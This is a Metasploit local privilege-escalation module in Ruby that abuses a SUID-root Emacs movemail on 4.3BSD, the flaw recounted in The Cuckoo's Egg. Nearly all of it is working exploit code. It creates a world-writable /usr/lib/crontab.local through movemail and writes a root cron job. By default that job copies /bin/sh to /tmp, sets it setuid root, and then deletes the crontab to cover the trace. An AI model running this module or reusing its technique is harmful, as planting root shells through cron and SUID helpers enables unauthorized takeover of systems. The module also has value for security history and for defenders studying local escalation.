### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
def initialize(info ={})
super(update_info(info,
'Name'=>'Emacs movemail Privilege Escalation',
'Description'=> %q{
This module exploits a SUID installation of the Emacs movemail utility
to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.
The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
},
'Author' => [
'Markus Hess', # Discovery? atrun(8) exploit for sure
'Cliff Stoll', # The Cuckoo's Egg hacker tracker
'wvu'# Module and additional research],
'References'=>[
%w[URL https://en.wikipedia.org/wiki/Movemail],
%w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],
%w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],
%w[URL https://mailutils.org/manual/html_node/movemail.html]],
'DisclosureDate'=>'1986-08-01', # Day unknown, assuming first of month'License'=> MSF_LICENSE,
'Platform'=>'unix',
'Arch'=> ARCH_CMD,
'SessionTypes'=> %w[shell],
'Privileged'=> true,
'Payload'=>{'BadChars'=>"\n", 'Encoder'=>'generic/none'},
'Targets'=>[['/usr/lib/crontab.local', {}]],
'DefaultTarget'=>0,
'DefaultOptions'=>{'PAYLOAD'=>'cmd/unix/generic',
'CMD'=>'cp /bin/sh /tmp && chmod u+s /tmp/sh'}))
register_options([
OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])])
end
def bin_path
'/bin:/usr/bin:/usr/ucb:/etc'
end
def movemail
datastore['MOVEMAIL']
end
def crontab_local
'/usr/lib/crontab.local'
end
def crontab(cmd)"* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"
end
# uname(1) does not exist, technique from /etc/rc.local
def is_43bsd?
cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')
end
# id(1) does not exist
def is_root?
cmd_exec('whoami').include?('root')
end
# test -u does not exist
def setuid_root?(path)
cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)
end
def setup
super
vprint_status("Setting a sane $PATH: #{bin_path}")case cmd_exec('echo $SHELL')
when %r{/bin/sh}
vprint_status('Current shell is /bin/sh')
cmd_exec("PATH=#{bin_path}; export PATH")
when %r{/bin/csh}
vprint_status('Current shell is /bin/csh')
cmd_exec("setenv PATH #{bin_path}")else
vprint_bad('Current shell is unknown')
end
vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
end
def check
unless is_43bsd?
vprint_warning('System does not appear to be 4.3BSD')
end
unless file?(movemail)
vprint_bad("#{movemail} not found")return CheckCode::Safe
end
unless movemail.end_with?('movemail')
vprint_warning("#{movemail} has an unexpected name")
end
unless setuid_root?(movemail)
vprint_status("Non-SUID-root #{movemail} found")return CheckCode::Detected
end
vprint_good("SUID-root #{movemail} found")
CheckCode::Appears
end
def exploit
if is_root?
print_good('Session is already root, executing payload directly')return cmd_exec(payload.encoded)
end
unless check == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);if file?(crontab_local)
fail_with(Failure::NoTarget, "#{crontab_local} already exists")
end
print_status('Preparing crontab with payload')
tab = crontab(payload.encoded)
vprint_line(tab)# umask (umask (0) & 0333);# (void) ftruncate (indesc, 0L);
print_status("Creating writable #{crontab_local}")
cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")
unless writable?(crontab_local)
fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
end
print_good("Writing crontab to #{crontab_local}")
cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
print_warning('Please wait at least one minute for effect')
end
end